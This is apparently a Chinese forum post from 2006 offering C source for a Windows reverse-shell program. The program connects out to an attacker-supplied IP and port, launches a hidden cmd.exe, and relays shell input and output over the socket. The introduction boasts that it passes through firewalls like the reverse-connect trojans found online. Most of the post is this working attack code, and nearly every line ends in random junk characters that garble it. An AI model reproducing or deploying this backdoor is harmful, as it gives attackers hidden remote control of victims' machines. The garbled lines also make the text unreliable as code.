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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xv+47.?N  
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/* ============================== Pf4b/w/  
Rebound port in Windows NT wB~5&:]jr  
By wind,2006/7 { ]F };_  
===============================*/ ?Ji nX'z  
#include SGp}(j>  
#include  3g#  
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#pragma comment(lib,"wsock32.lib") \QZ~w_  
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void OutputShell(); pI>[^7  
SOCKET sClient; Q.$|TbVfds  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ';\v:dP  
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void main(int argc,char **argv) >7[o=!^:4  
{ Vzs_g]V  
WSADATA stWsaData; Q8~|0X\.g  
int nRet; DC5^k[m  
SOCKADDR_IN stSaiClient,stSaiServer; S%sD#0l  
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if(argc != 3) n@`:"j%s_  
{ OX  r%b  
printf("Useage:\n\rRebound DestIP DestPort\n"); v{T%`WuPRf  
return;  s_p\ bl.  
} FVgE^_  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9c}mAg4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [@PD[-2QG3  
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stSaiClient.sin_family = AF_INET; ;Sqn w  
stSaiClient.sin_port = htons(0); UrP jZ:K'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LO&/U4:  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z :q9~  
{ [ 1$p}x  
printf("Bind Socket Failed!\n"); GgNqci,  
return; &6#>a"?"  
} FS1> J%P  
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stSaiServer.sin_family = AF_INET; 7@6B\':  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7SyysH<H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +4r.G(n),  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @uJ^k >B  
{ M(8Mj[>>Rj  
printf("Connect Error!"); ?uBZ"^'  
return; zBKfaQI,  
} ?##3E, /"9  
OutputShell(); Z +vT76g3  
} ~@Wg3'&  
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void OutputShell() W|yF jE&dr  
{ 68 *~5]  
char szBuff[1024]; Z.iQm{bI  
SECURITY_ATTRIBUTES stSecurityAttributes; : CR1Oy9  
OSVERSIONINFO stOsversionInfo; dP7nR1GS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,1!~@dhs  
STARTUPINFO stStartupInfo; Y!K5?kk  
char *szShell; 'WC> _ L  
PROCESS_INFORMATION stProcessInformation; VxKD>:3c  
unsigned long lBytesRead; l[P VWM  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6~rO(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XP |qY1  
stSecurityAttributes.lpSecurityDescriptor = 0; H/I1n\  
stSecurityAttributes.bInheritHandle = TRUE; @|i f^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P> wDr`*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /KCJ)0UU  
"{lw;AA5F  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3%NbT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H ({Y  
stStartupInfo.wShowWindow = SW_HIDE; z/Kjz$l!  
stStartupInfo.hStdInput = hReadPipe; l?rT_uO4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dZ"B6L!^(  
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GetVersionEx(&stOsversionInfo); @'ln)RT,  
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switch(stOsversionInfo.dwPlatformId) Shm$>\~=  
{ "+@>!U  
case 1: [Up0<`Q{I_  
szShell = "command.com"; Z6F^p8O-  
break; D rMG{Yiu  
default: }iZ>Gm '5  
szShell = "cmd.exe"; R'Y=- yF  
break; 2GB+st,  
} Vo; B#lK  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YO3$I!(  
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send(sClient,szMsg,77,0); [Dv6z t>  
while(1) %{sL/H_  
{ jr=>L:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (oiF05n h  
if(lBytesRead) OSDx  
{ >,#7 3u#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,];4+&|8kW  
send(sClient,szBuff,lBytesRead,0); Naqz":%.  
} IdzrQP  
else <.N33 7!  
{ Y2B ",v"  
lBytesRead=recv(sClient,szBuff,1024,0); eKT'd#o2R  
if(lBytesRead<=0) break; -j<g}IG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }p <p(  
} H)Kt!v8  
} ':[:12y[  
$d +n},[C{  
return; ENEnHu^  
}
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